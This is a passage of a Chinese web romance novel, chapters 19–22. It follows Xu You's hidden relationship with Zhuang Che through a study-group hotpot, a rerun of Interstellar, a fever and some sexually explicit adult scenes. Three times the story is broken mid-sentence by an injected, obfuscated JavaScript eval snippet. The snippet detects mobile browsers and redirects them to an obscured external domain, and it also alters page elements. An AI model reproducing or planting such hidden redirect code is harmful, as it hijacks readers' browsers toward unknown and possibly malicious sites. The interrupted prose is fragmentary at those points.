明明是从一开始便清楚的事实，但现在不知道为什么，许由很难将其说出口，就好像说出来，她这段时间拼命想隐藏的那点难堪就会暴露在日光之下。 许由突然很好奇，刨去新鲜感和征服欲，庄彻在这段感情里投入的喜欢到底有多少。 肯定是有的，因为那些喜欢偶尔会从细节处流露出来，但许由无法在此刻的庄彻眼里找到答案，也就无法判断他们这段危如累卵的关系是否已经走到了尽头。 许由觉得很累，所以也没有了用言语粉饰太平的精力。 “庄彻，我跟曹方鑫真的只是普通的同学关系，他不喜欢我，我更不可能会对他产生除同学之外的任何情谊，你别去找他的麻烦好吗？” “庄彻，你可不可以，别做让我讨厌你的事。” 19. 第 19 章 “许由，你昨天晚上没睡好吗？” 周六早晨，陆雨竹一见到许由便瞪大眼睛凑上来，打量许由眼睛底下挂着的两个巨大的黑眼圈。 许由用力挤出一个笑：“还好，就是睡得有点晚。” 昨天晚上和庄彻不欢而散，许由在床上翻来覆去将近早上六点才睡着，只睡了还不到两个小时就被闹钟吵醒了。 她起得晚，也没工夫给自己画个淡妆遮挡一下憔悴的脸色。幸好陆雨竹看上去似乎相信了她的话，没有多问。 陆雨竹的朋友有事会晚点到，因此在邱思思和曹方鑫到达之后，四个人便出发朝超市走去。 他们在当地的超市买了一大堆肉菜零食，然后又去到中超买了一些专门用来烫火锅的食材。 回陆雨竹公寓的路上，天上突然飘起了小雨，四个人里居然只有许由带了伞。 许由把伞递给看上去较为轻松，只拎了一袋东西的邱思思，让她和陆雨竹一起打，被陆雨竹义正言辞地拒绝：“别了，还是你跟思思打吧，我早上刚见到你的时候，你脸色差到让我以为你下一秒就会晕过去。” 许由：“……” 邱思思也附和道：“是呀，你昨天晚上没休息好，今天要是淋了雨很容易着凉的。” 说完，她便举着伞走到许由身边。 许由笑笑，不再推拒。 许由的雨伞很小，本来遮两个人就有些勉强，再加上她两只手都拎了东西，不好靠邱思思太近，于是她半边肩膀都露在外面，很快被雨水打湿。 不过许由没觉得有什么，只要脑袋不被淋湿就行了，但走在她身后的曹方鑫却突然开口： “邱思思，你打伞好好打，许由的左边肩膀全被淋湿了。” 邱思思无奈：“这伞就这么大我有什么办法，你没看见我的肩膀也被淋湿了吗，要不你来打？” 其实邱思思也就是呛曹方鑫一句，没真的想让他来，所以当曹方鑫把自己手里拎着的购物袋举到邱思思面前，示意她接过去的时候，她愣住了。 许由也没有反应过来。 曹方鑫举着购物袋站在邱思思面前，语气熟稔地道：“不是说让我来打伞吗，那你来提这袋东西。” 一手打着伞，一手拎着袋子的邱思思：“……” 刚才从中超出来，他们四个人分了一下每人负责提的袋子，许由抢着拎了两袋，他们其余三人都是一人一袋，曹方鑫作为四人中唯一的一名男生，没有主动帮许由分担一下重量不说，现在居然只是因为要帮许由打伞，就要把自己拎的那袋东西丢给别人。 “你——”只有一只手能用吗？ 邱思思本来是打算这么问的，但曹方鑫没有给她问出口的机会，他非常不见外地把购物袋塞进邱思思怀里，然后从她手里接过伞，走到许由身边。 邱思思和陆雨竹对视一眼，都在对方的眼里看到了无语，但也不好说什么。 许由看了一眼自己依然露在伞外的肩膀，笑着走出伞下：“都已经快到雨竹公寓了，打不打伞都一样，我们走快一点就行了。” 邱思思见状，又笑眯眯地把购物袋还给曹方鑫：“行了，许由现在也不需要你打伞了，东西你继续拎着吧，总不能你一个男生看着我们女生干活，自己两手空空当甩手掌柜吧。” 回到陆雨竹的公寓，除了曹方鑫，三个女生的头发几乎都被打湿了，模样颇为狼狈。 陆雨竹打开暖气，赶忙从衣柜里翻出两条毛巾递给许由和邱思思：“快把头发擦一下，免得一会着凉了。” 等到屋子里的温度升上来，几个人也收拾得差不多了之后，众人便正式开始为中午的火锅做准备。 许由短暂地忘记昨天晚上的不愉快，挽起袖子准备给邱思思陆雨竹她们露一手，火锅又辣又油腻，她打算做一道清爽的沙拉来给大家解腻。 红汤沸腾，肉菜下锅，众人围坐在桌边，许由将她的沙拉端上桌，兴冲冲地开口：“快尝尝，要是缺什么味道我再加。” 曹方鑫：“……” 邱思思：“emmm……有点淡。” 陆雨竹：“emmm……有点甜。” 陆雨竹朋友：“emmm……有点辣。” “我做的是甜辣口的沙拉，放了蜂蜜和辣椒面的。” 许由一边说着，一边夹起一片生菜放进嘴里：“味道好像确实淡了一点，我做的时候以为雨竹的辣椒面有调味就没敢放盐，怕咸了，再放点盐吧。” “不用了！”陆雨竹就坐在许由旁边，她按住许由的手，“不用加盐了，淡点好，解腻！” 许由想想，觉得陆雨竹说的有道理，又坐回来。 邱思思喝了口饮料把嘴里的怪味压下去，问道：“许由，你的沙拉里除了蜂蜜和辣椒还放了些什么呀，我怎么感觉我嘴里有一股蒜味？” “对呀，我放了一点姜末和蒜末的。” 第一次见识许由厨艺的邱思思闻言瞪大眼：“做沙拉需要放姜蒜吗？” 许由疑惑：“不需要吗？可是我妈妈做凉拌菜的时候都会放姜蒜的，她说这样好吃。” 陆雨竹：…… 退一万步来说，沙拉好像的确算是凉拌菜的一种。 邱思思长叹一口气：“哎，许由，我理解你，你昨天晚上没睡好导致今天精神状态不佳，沙拉做成这样也情有可原。” 许由：…… 她心情不好归不好，但在做菜这件事上，她是认真的。 “好了好了，肉已经熟了，快吃。” 为了避免大家在许由厨艺的话题上继续讨论下去，陆雨竹连忙扯开话题，夹起一片肉放进许由碗里：“有点烫，吹吹再吃。” － 吃饱喝足，又聊了会儿天，众人把剩下的菜和煮火锅用的电饭煲转移到流理台上，留着晚上继续吃，然后将桌子收拾干净，摆上各自的电脑。 在到达陆雨竹公寓四个小时之后，他们终于进入了今日的正题——做小组作业。 许由和陆雨竹主要是负责各种数据的计算和分析，两人大部分时间都是各算各的，偶尔讨论一下，对对数据。 中途邱思思饿了，起身去把早上买的水果洗出来招呼大家吃，于是—— 论文暂停，大家围坐在桌边，吃着水果又开始天南地北地聊了起来。 “对了许由，”曹方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14398098|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鑫突然提起昨晚的事，“昨天晚上你帮我跟庄彻解释清楚了吗？” “庄彻？解释什么？”邱思思直觉里头有八卦，耳朵立刻竖了起来。 曹方鑫：“就是庄彻昨天晚上约我出去喝酒看球赛，实在是太热情了，但我不喜欢那种场合，许由跟庄彻熟一点，我就让许由帮我拒绝了。” 邱思思半信半疑：“庄彻叫你一起出去玩？你俩不是刚认识没多久吗，他为什么要叫你出去玩？就算要叫也应该是叫许由吧。” 许由垂眼平静地坐着，陆雨竹悄悄朝她看过去一眼，好像有点明白她眼睛底下那两个大大的黑眼圈是因为什么了，她该不会是和庄彻吵架了吧。 可这跟曹方鑫又有什么关系？ 许由不想在这个话题上多聊，将其一两句话糊弄过去，但庄彻这人天生自带焦点，有他在的地方，话题总会像雨后春笋一般，一个接一个地冒出来。 有人看不惯他行事张扬，对他嗤之以鼻；有人对他芳心暗许，只盼着能从别人嘴里听到更多关于他的消息；也有人只是对围绕在他身上的八卦感兴趣，不管是真是假。 至于庄彻，他淡然立在风暴中心，对围绕着他的声音置若罔闻，行事全然依照自己的心意。 陆雨竹朋友表情神秘地开口：“我听说，庄彻好像交了一个新女友。” 陆雨竹：“……” 邱思思：“真的吗？！” 许由开始战术性喝水。 “千真万确！好像已经交往了一段时间了。” 邱思思眼睛里闪着八卦的光：“那他的新女友是哪个专业的，中国人还是外国人，漂亮吗？” 陆雨竹看一眼许由，迅速移开视线。 女生摇头：“不知道，我也没见过，就是听说，但我觉得很合理呀，毕竟像庄彻这样的人，怎么可能会从去年九月份单到现在？我听说他在Ｌ市读本科的时候，女朋友两个月一换，就没断过，追他的女生一抓一大把，我们专业打听他联系方式的女生多的是。” 邱思思肯定地点头：“确实，就是不知道这次这个分手之后，会不会像上一个那样闹出那么大的动静来。” 许由：……应该是不会的。 曹方鑫把嘴里的果肉咽下去，意有所指地道：“我挺同情跟庄彻交往的那些女生的，被这么一个花花公子玩弄感情之后又毫不留情地甩掉。庄彻这样的人，太自我了，他根本不懂喜欢是什么……” 陆雨竹听不下去了，想开口说些什么，却被突如其来的电话铃声打断，她手机进来一个电话。 许由无意间一瞥，见是一串没有备注的陌生号码，有点眼熟，但她一时半会儿想不起来。 “喂，哪位？” 陆雨竹接起电话，其余四人顿时安静下来。 下一秒，陆雨竹猛地提高音量，语气不敢置信：“庄彻？” 许由听到这个名字心跳忽地漏掉一拍，庄彻怎么会给陆雨竹打电话？她转头看向陆雨竹，就看见陆雨竹面上表情先是疑惑，然后逐渐变得僵硬。 “嗯，她在，好的。” 陆雨竹语气生硬地应着，把手机递给许由：“是……找你的电话。” 20. 第 20 章 许由顶着几道无比灼热的目光，从陆雨竹手里接过手机“……喂。” 庄彻声音懒洋洋的，听动静，他好像在什么地方躺下了：“你把我电话拉黑名单了？” “……没有。” “那为什么打你电话老说你关机？” 许由拿起一旁的手机按了按，一点反应也没有，是真·关机了，她声音闷闷的：“没电自动关机了，你找我有什么事？” 庄彻反问：“没事就不可以找你？” 许由撇撇嘴，如果她没有记错的话，他们好像还在吵架中吧。不过当着邱思思几人的面，许由是不可能把这句话说出口的，当着庄彻的面应该也说不出来。 她努力在众人面前保持平静：“你没有什么事的话，我就先挂了。” 电话那头，庄彻似乎被她过于客套的语气给逗笑了，声音有些抖：“你在陆雨竹的公寓？” 许由眉头微不可察地一跳：“你想干什么？” 庄彻吊儿郎当地回：“今天周末，找你约会。” 许由头疼：“我今天有事，改天可以吗？” 电话那头传来一阵窸窸窣窣的声音，庄彻似乎换了个姿势躺着，声音低了些，透着股混不吝的劲：“没关系，我可以约午夜场。” 许由现在是真的很想挂断电话：“我晚点结束了，再给你发消息可以吗？” 不知道是不是许由说话时过于公式化的语气戳中了庄彻的笑点，从刚才起，电话里那种闷闷的憋笑声就没有停下来过，好一会儿，他才学着许由说话的语气一本正经地回道：“可以的。” …… 许由挂断电话，把手机还给陆雨竹。 气氛一时间变得十分尴尬。 庄彻为了找人，电话都打到陆雨竹的手机上了，邱思思她们也不傻，稍微一想，便能琢磨出许由大概就是庄彻的那位新女友了。 而她们刚才居然还当着许由的面蛐蛐她。 “对了许由，你的手机是不是没电了？” 陆雨竹率先打破沉默，问完也不等许由回答，起身从床头的小桌上拿来一根数据线，“正好咱俩手机是一个牌子的，我的充电线你也能用。” “谢谢。” 许由接过线给手机插｜上，没过多久，手机开机，显示有十多通未接电话，全是庄彻打来的，微信消息也是一条接着一条弹出来。 许由有时候真的看不太懂庄彻，两人昨天晚上闹得不欢而散，结果转眼他又能给自己打十多通电话，找不到人就辗转打到陆雨竹这来，闹出这么大的阵仗，只为了能联系到自己。 至于陆雨竹的手机号，他该不会是管刘恒睿要的吧…… 庄彻的确挺疯的，许由在心里如是说到。 桌上其余三个女生在沉默中对视一眼，默契地准备跳过这令人尴尬的一趴。 “许由，庄彻找你什么事？”没有接收到信号的曹方鑫问。 …… 邱思思斜睨他一眼，怕许由尴尬，故意用开玩笑的语气调侃道：“这是人家的私事，你一个大男生，怎么比我们女生还八卦。” 曹方鑫沉默。 “现在都四点过了，我们还什么都没干呢，光聊天去了，快点快点，”邱思思催促道，“今天赶紧写，明天我就可以睡个懒觉啦。” 许由那种秘密被揭穿后的窘迫感被邱思思的急迫话语冲散，她莞尔一笑，将手机放到一边，继续算刚才没有算完的数据。 － 吃火锅的时候很爽，不仅有牛油的味道，还有家乡的味道，但收拾起来也是真的麻烦，厨余垃圾塑料盒塞满了好几个塑料袋，眼看着一趟拿不完，许由便提议先扔一波。 她一手提起一个垃圾袋就准备出门。 “我跟你一起去吧。” 曹方鑫作势要去拿门边的垃圾，却被突然闪现过来的邱思思给抢了先：“许由，我跟你一起去。” 说完，邱思思又朝一片狼藉的桌子努了努嘴，对曹方鑫说：“你继续收拾桌子吧，丢垃圾这种累活我陪许由去。” 曹方鑫默默走回桌前拿起抹布。 陆雨竹将许由邱思思送到门口：“垃圾房一楼出了电梯之后右拐，尽头那间双开门的房间就是。” 邱思思比了个ＯＫ的手势，关上门。 电梯里，邱思思突然开口：“许由，下午的事情，对不起啊。” 许由转头看着邱思思：“什么对不起？” 邱思思语气懊恼：“就是关于庄彻的……我不知道，对不起。” 许由眼底划过一抹黯色，她垂下眼，唇角自嘲般微微勾起：“是我没有告诉你，不是你的错，你不用跟我道歉。” 邱思思抿了抿唇，犹豫地问道：“你为什么不愿意公开你跟庄彻的关系，是因为庄彻之前的那些事吗？” “不……是。” 许由话语中间停顿许久，邱思思没明白她到底是肯定还是否定的意思。 片刻，许由又苦笑道：“算是吧。” “因为知道他只是跟我玩玩，所以觉得没有必要告诉你们。” “嗐，这有什么！”邱思思毫不在意地摆了摆手，“人生得意须尽欢。” “许由，你要明白，交往过帅哥不是什么黑历史，交往过蠢逼才是应该要被死死捂住的黑历史，就好比我的前男友——” “不提也罢！” 邱思思朝许由抛来一个媚眼：“年轻，就要勇于尝试，有句老话说得好，失败不可怕，因为害怕失败而放弃尝试才可怕。” 许由被邱思思的歪理逗笑：“谢谢你的鸡汤。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411430|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不客气。” 丢完垃圾回到屋内，庄彻发来一条消息，问许由还有多久结束。许由看收拾得差不多了，便给他回了半个小时，然后又放下手机，去帮陆雨竹擦灶台。 等到一切收拾完毕，许由拿起手机点进微信，和庄彻的聊天记录停留在她四十分钟前发过去的，那条说还有半个小时的消息上。 许由看着两人的聊天框愣神，摸不清楚庄彻到底是什么意思，是又改变主意，不想找她了吗？ 思索间，其余人已经穿好外套准备离开，许由收起手机，提起自己的电脑包，然后又主动去拿需要丢的垃圾。 邱思思背上书包，见垃圾都被大家拎完了，乐得轻松自在，正要找许由说话，手里突然被曹方鑫塞进来一包垃圾。 “你别偷懒。” 邱思思无语：“我哪里偷懒了，之前我已经和许由下去丢过了一次了好吧，刚才也一直在帮着收拾。再说了，这两袋都是塑料盒，又不重，一只手就能提的过来，你非塞我一包干嘛。” 曹方鑫不理她，拎着剩下的那袋垃圾去按电梯。 邱思思冲着曹方鑫的背影翻了一个白眼。 许由轻轻撞了撞邱思思的肩膀，在她看过来的时候，冲她安抚地一笑。 丢完垃圾，一行人有说有笑地朝公寓大门走，在走到公寓大堂，看到沙发里安静坐着的人时，谈笑声戛然而止。 庄彻一副闲散姿态倚在沙发里。 他今天穿了一件米白色的短款羽绒服，下身深色牛仔裤，两条长腿就那么随意地伸展着，下巴和嘴埋在黑色高领毛衣里，只露出一双眼睛和高挺的鼻梁，额发柔顺地垂下，扫在他眉眼处，眼皮懒懒地搭着。 整个人看上去格外地有少年感，让人移不开眼，却又因为眼神过于淡漠，自然而然流露出的倨傲强势让人不敢靠近。 许由默默低头，看了眼自己身上同色系的长款羽绒服，张了张嘴，什么也说不出来。 就像是在印证邱思思她们下午的讨论似的，她和庄彻今天竟然不约而同地穿了米白色的羽绒服，看上去就像是情侣装一样。 庄彻原本以为只有许由陆雨竹两个人，没成想等来这么多人，他视线穿过众人落在许由身上，眉梢微扬，片刻后，眼底浮现出笑意。 沉默须臾，许由对身旁的众人道：“我先走了。” 邱思思露出一个欣慰的笑容：“再见。” 庄彻笑看着许由走到自己身边，再自然不过地从她手里接过电脑包提着，和她并肩朝外走去，全程没有分给曹方鑫半点目光。 “老天爷，如果一定要让我吃爱情的苦的话，那就请给我来一个像庄彻这么帅，这么渣的男生吧，被甩了也没关系啊！” 公寓大门关上，邱思思仰天长叹。 21. 第 21 章 并肩走出一段路后，许由才发现这不是去庄彻公寓的方向。 “我们不回你公寓吗？”她问。 庄彻懒懒道：“现在还早，不急。” 早？许由记得自己离开陆雨竹公寓时看了一眼时间，八点半，其实不算早了。 “那我们现在去哪？” “电影院。” “看电影？” 许由喜欢看科幻片和惊悚片，她仔细回想了一番，最近好像没有这类片子上映。 庄彻睨她一眼，似是看出她的想法：“老片子，星际穿越，最近电影院在重映。” 许由欲言又止，某些画面不受控制地涌现出来。 那是他们刚在一起没多久的一个周末，阳光明媚的午后，许由和庄彻在外吃完午饭，跟着庄彻第一次去到他的公寓。 大概是看许由正襟危坐在沙发里的样子太过局促，庄彻别过头去笑了一会后，问许由要不要看电影，然后应许由的要求在电视上投屏了《星际穿越》。 结果电影刚开始十分钟，庄彻便打了一个大大的哈欠：“这是科幻片？我怎么感觉像保护环境的公益宣传片？” 许由：“……你以前没有看过这部电影吗？” 庄彻懒洋洋地靠在沙发里，脑袋快要歪到许由肩上：“听说过，但不是很感兴趣，毕竟《星际穿越》刚上映的时候，我还是个相信光的中二少年。” …… “等他们坐飞船去到太空之后，剧情就不会这么平了。”许由耐心地解释道。 男主角库珀一行人离开地球，去太空中寻找适宜人类居住的星球的剧情，是整部电影最跌宕起伏，也是极具科幻色彩，可以让观看的人感受到宇宙的浩瀚和自身的渺小的部分。 也是许由最喜欢的部分。 很可惜的是，那天下午许由没能看到主角团去到太空的剧情。 在许由决定跟庄彻回他公寓时，她便已经默许了某些情况的发生，所以在庄彻偏头吻上来的时候，她只是呆愣了片刻便闭上眼，生涩地迎合。 关于那场电影，许由印象最深刻的是硌得自己背很不舒服的沙发扶手，以及和电视里的滔天巨浪一起袭来的，饱胀酸涩的痛感。 电视的声音很大，盖过了房间内暧昧缱绻的声响，和许由齿缝间泻出的几声轻哼。 视线在不断摇晃，意识恍惚间，许由的嘴唇似有若无地擦过庄彻颈间凸起的喉结，然后她便看见，薄薄一层皮肤下突然爆起的筋脉，像是极力在忍耐着什么。 后来，等到许由终于从起伏的浪潮中找回自己的意识，电影早就已经结束了，庄彻脑袋埋在她颈间，呼吸又急又重，胸膛剧烈起伏，胸口潮湿一片，分不清是谁的汗水。 房间里没开灯，窗帘也是拉着的，只有电视机屏幕透着一点幽幽的光。 过了很久，许由才听见庄彻在自己耳边似笑非笑地问：“怎么办，错过了你最喜欢的那部分剧情，要不要再看一遍？” ……还是算了吧。 许由记得，在电影刚开始，一切还没有失控的时候，自己似乎和庄彻抱怨过一句，说自己对《星际穿越》最大的遗憾便是在放映时没能去电影院看。 她没想到庄彻竟然会记住自己的一句随口吐槽，内心微微泛起一丝波澜，很快归于平静。 因为是晚场电影，所以整间放映厅里只有许由和庄彻两个人。 放映厅的座位是双人座的沙发，很宽敞，庄彻抱着一桶巨大的爆米花挨着许由坐下。 几分钟后，电影开场，周围的灯光暗下去，许由忍不住转头，悄悄打量起庄彻的侧脸。 又是这样。 明明昨天晚上还撕破脸吵架，今天庄彻却像个没事人似的，还带着自己来看晚场的电影。 他们的关系看似恢复如初，但其实许由心里清楚，她和庄彻之间的矛盾仍旧存在，只不过他们两人好像在无形中形成了一种默契，一种不约而同忽略那些矛盾的默契。 原因大概就像许由之前和乔心她们所说的那样，因为不在乎。 本来就是一段露水情缘，又走不长久，那些矛盾会随着这段关系的结束而变得没有意义，所以，没有必要浪费时间在这些无意义的事情上面。 《星际穿越》是许由最喜欢的电影，没有之一，她每年都会不厌其烦地重温，但今天，她却有些看不太进去。 脑中一会闪过和庄彻第一次看这部电影时的某些画面，一会又浮现出昨天晚上，她心力交瘁地对庄彻说，“庄彻，你可不可以，别做让我讨厌你的事”的画面。 直到片尾字幕出现，许由都只是怔怔地坐着，目光没有焦距，不知道在看哪里。 头顶灯光亮起，庄彻眸中的黯色随之退去，他从沙发里站起身，还是惯常的散漫语调：“这次终于看到了你说的精彩的部分，不错，很科幻很宇宙。” 许由回神，在刺眼的灯光下，半眯起眼看向身前的庄彻，想要开口说话时，被庄彻打断：“很晚了，去我那睡吧。” “……” “好。” － 许由发烧了。 她睡得很不安稳，意识模模糊糊的，感觉自己好像没睡着，恍惚间听到庄彻在叫自己的名字，却嘟囔着怎么也睁不开眼。 热得难受，身上的衣服都被汗水浸湿，头发也湿哒哒地贴着头皮，十分不舒服。许由开始挣扎，想要掀开被子，结果两只手却被一股外力牢牢地压制住。 “别乱动。” 许由听到了庄彻的声音，很熟悉，但是其中夹杂的情绪却陌生，只不过许由的脑子现在被烧成了一团浆糊，她分辨不出来那情绪是什么。 许由挣扎半天无果，带着哭腔抱怨道：“热……” 很快，一个冰冰凉凉的东西贴上了额头，许由终于安静下来。 庄彻坐在床边，垂眼默默注视着许由被烧得通红的脸。 他是被许由烫醒的。 半夜睡得正沉的时候，感觉到怀中人烫得像个火炉，他迷迷瞪瞪地睁开眼，低头，就看见许由缩在自己怀里，皱着眉，一副睡得很不安稳的模样，头发都被汗水打湿了。 他抬手去试许由额头的温度，然后残存的睡意顿时被手背传来的温度灼烧殆尽。 庄彻公寓没有退烧药，他在公寓群和中国留学生群里发了消息问谁有退烧药，他可以出钱买。 但现在太晚，大部分人都睡了，庄彻等了几分钟都没有人回复，心中愈发焦急。 他将暖气又调高了一些，担心许由穿着湿衣服睡不舒服，又坐回床上把她抱在怀里，用干毛巾将她身上的汗水擦干，给她换了一件干净的Ｔ恤。 做完这一切，又把她放回被窝里，掖好被角，再去浴室接了一盆凉水，用湿毛巾给许由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许由眼珠缓缓转动，盯着庄彻，没说话。 庄彻被她这副模样逗笑，捏了捏她的脸：“该不会是烧傻了吧？” 大概是大病初愈，身体还没有完全恢复的原因，许由反应变慢了许多，她好脾气地任庄彻胡乱揉搓自己的脸，半晌，才憋出一句：“你吃了吗？” 庄彻笑得更厉害了：“谢谢你的关心，我吃过了。” 他眼下有一片不太明显的乌青，许由盯着那处看了一会，小声开口，语气郑重：“谢谢你。” “你昨天晚上，应该没有休息好吧？” 庄彻倒也不跟许由客气，他趴在床边，闻言把脑袋搁在许由露在被子外的手上，轻轻蹭了蹭，温热的鼻息扑洒在她掌心里，嗓音懒洋洋的：“嗯。” 庄彻今天还没来得及刮胡子，下巴冒出来的短短胡茬磨蹭着许由的手心，不疼，就是有点痒，许由下意识地把手往回缩，但庄彻的脑袋太重了，她没能收得回来。 “你的胡子刮到我了，不舒服……”许由小声抱怨道。 庄彻还是不动，脸埋在许由掌心，又开始笑起来。 刚才还说谢谢呢，结果现在又开始嫌弃他了，娇气。 他转头，就着枕在许由掌心的姿势看她：“那你一会帮我刮。” 不等许由回答，庄彻径直坐起身，扶她起来吃东西。 动作间，许由手下突然碰到一个异物，她顺手拿起来，见是一条皮带。 “你怎么把皮带丢在床上？” 庄彻眉梢微挑，眼中忽地闪过一丝促狭的笑意：“当然是——” “用来绑你啊。” 许由：“……” 这人永远正经不过三分钟。 22. 第 22 章 南瓜粥清甜爽口，许由很快吃完，去浴室洗漱。 庄彻跟在她身后，在她刷牙洗脸的时候就靠在门边看她，等她把脸上的水珠擦干净，几步上前，站到她身后。 “你洗完了，到我了。” 庄彻宽肩窄腰，镜子里，许由被他的身型整个圈住，头顶都够不着他的下巴，跟他比起来显得小小一只。 他扯过一旁架子上的浴巾铺在洗漱台上，将许由翻了个身面朝自己，然后抱起她坐在浴巾上。 做完这一系列的“准备工作”，庄彻强势地挤入许由腿间，两手撑在她身侧，躬身凑近，眼神朝旁边一瞥，示意许由看向手边。 “先涂剃须泡沫。” 许由还有点懵，随手拿起一样东西，庄彻看清她拿的是什么东西后，脑袋埋进她颈间突然笑了，笑得身体都在抖。 “那是牙膏。” 许由：“……” 她默默把牙膏放回原位，又拿起最边上那个黑色的小罐子。 这一次没有拿错了。 剃须泡沫带着一股淡淡的柠檬香，许由动作生涩地将其涂抹在庄彻的下巴，好不容易涂满了下半张脸，庄彻突然坏心肠地一笑，凑过来吻她。 “嗯……” 唇齿交缠间，除了柠檬的香气之外，还有清爽的薄荷味道。 许由躲不开，只能任由庄彻把泡沫全抹在自己脸上，等他退开，没好气地问道：“你还刮不刮胡子了？” 庄彻笑嘻嘻地又把脸凑过来：“你涂，这次我不闹你了。” 许由瞪他一眼，但因为脸上全是泡沫，像个张牙舞爪的小花猫，毫无威慑力。她故意挤了一大堆泡沫在他脸上，然后上手胡乱抹一通。 庄彻看着她，只是笑。 坐上洗漱台的十分钟后，许由终于拿起了庄彻的刮胡刀，她诧异道：“怎么不是电动的？” 庄彻眼神蓦地暗下去：“你还给谁刮过胡子？” 许由正在研究手里的“全手动”刮胡刀，没听出庄彻话中的深意，随口答：“没谁，就你，但是我看过我爸刮胡子，他用的是电动刮胡刀，看起来比你这个方便多了。” 闻言，庄彻眸中的暗色退去，嘴唇贴到许由耳边，语气狎昵：“这个剃得干净，不会扎到你。” 脑中不受控制涌上一些画面，耳后随之攀上来一阵热意，许由微微朝后仰躲开庄彻，举起刮胡刀在他面前比划：“那，就这么刮吗？” 表情严肃，动作僵硬，看上去不像是要给庄彻刮胡子，像是要抹他脖子。 庄彻无奈抬手，正准备教她，外头忽然传来一阵悠扬的音乐声。 许由听出是自己手机的来电铃声，赶紧往外推了推庄彻：“你让一让，我出去接个电话。” 庄彻没动：“你好好坐着，我去拿。” 说完便带着一下巴的泡沫出去拿许由的手机。 庄彻很快回来，把手机递给许由。 许由拿着手机没有立刻接，而是瞪着那双水汪汪的大眼睛看着庄彻，意思很明显：我要接电话，你出去。 庄彻从喉咙深处泄出一声轻笑，靠近许由，再次将她圈进怀里，埋头在她颈间蹭了蹭，也不管泡沫是否会沾到她衣服上。 他用沉默向许由表示，自己不会打扰她接电话。 “……” 电话是乔心打来的，许由接起：“喂？” “许由，你在哪呀？” “……朋友家。” 说这话时，许由心虚地瞄了一眼庄彻，见他没反应，迅速扯开话题：“怎么了？” “就是我和南瑾书中午准备做烤肉来吃，想借一下你的电饼铛。” “可以呀，你们随便用。” 许由平时没事的时候除了窝在房间里看电影，就是研究着做一些“美食”，她有很多厨具，都是刚到Ｙ国时在留学生二手群里收来的。 “那太好啦，你一会儿回来吃午饭吗？如果回的话，我和南瑾书等你一起。” 许由想了想，自己烧已经退了，而她小组论文负责的部分还差个收尾，留在庄彻这里是无法静下心来写论文的。 “行呀，我一会儿就回来，你们等——” “不行。” 庄彻冷不丁开口：“你烧刚退，不能吹风。” …… 电话那头的乔心和电话这头的许由同时沉默，至于庄彻，他在二人间丢下一颗炸弹后，又恢复了安静，管杀不管埋。 许由认命地闭上眼，庄彻绝对是故意的。 漫长的一分钟过去。 “哈哈，这样啊，许由你昨天晚上发烧了吗，你那个小身板怎么这么不会照顾自己，哈哈。”乔心突然爆发出惊天动地的笑声，语无伦次地说道，“那你等不烧了再回来，永远不回来也没关系，哈哈哈，不好意思打扰了，哈哈哈——” 电话在乔心干巴巴的笑声中戛然而止，许由放下手机，脑中能想象出乔心挂断电话之后，和南瑾书在公寓里爆发出尖锐爆鸣的画面。 庄彻一点也没有闯祸的自觉，见电话挂断，眉梢微扬，把脸往许由跟前凑：“说完了？那可以给我刮胡子了。” 许由看着他，在心里叹气，算了，反正现在她周围的朋友几乎都知道了，也不差乔心和南瑾书。 她一手捧着庄彻的脸，一手拿起刮胡刀，动手之前还煞有介事地警告道：“别动。” 警告起了作用，刮胡子的过程中，庄彻一动不动，手也规规矩矩地撑在许由身侧，不过这其中应该也有怕被许由不小心抹脖子的原因。 但等刮得差不多，他就开始管不住自己的手了。 许由放下刮胡刀，视线在浴室内四处寻找，想找块干净的毛巾把庄彻脸上残余的泡沫擦干净，然后就察觉到一只温热的大手顺着衣服下摆摸了进去。 她平时都是把庄彻的Ｔ恤当成裙子穿的，衣服底下什么都没有，毫无阻隔贴上大腿的炙热让她微微一颤。 “你别……” 许由抓住庄彻作乱的手，庄彻的另一只手却趁机也钻了进去，Ｔ恤下摆被男生清健且富有力量感的小臂挑起一角，露出一截弧度流畅、向内凹陷的腰线。 温热粗粝的触感缓缓向上。 痒意伴随着战栗感攀上头顶，许由突然闷哼一声，整个人顿时卸了全部力道，软软栽进庄彻怀里。 庄彻到底是记挂着许由的烧刚退，没想真把她怎么样，他轻轻咬着许由耳垂，在她耳边低声道：“我用手帮你，好不好。” 没过多久，许由身上的Ｔ恤被推至锁骨，庄彻下巴剩的那点泡沫则全蹭到了她的胸口。 她的思绪被酥酥麻麻的感觉搅成了一团乱七八糟的线，一只手在洗漱台上胡乱地到处摸着。 “哗——” 水龙头不小心被按开，水柱瞬间倾泻而下。 手臂被打湿，虽然是热水，但许由还是忍不住打了一个哆嗦。 庄彻察觉到动静抬眼看她，目光黝黑深邃，许由和他对上视线后，心中不由一惊，刚才有一瞬间，庄彻眼底不加掩饰的侵略性仿佛要将她整个吞吃入腹一般，让她产生了一种被什么东西缠上，到死都无法挣脱的感觉。 不过一两秒，庄彻复又垂下眼，他空余的那只手把哗啦啦流 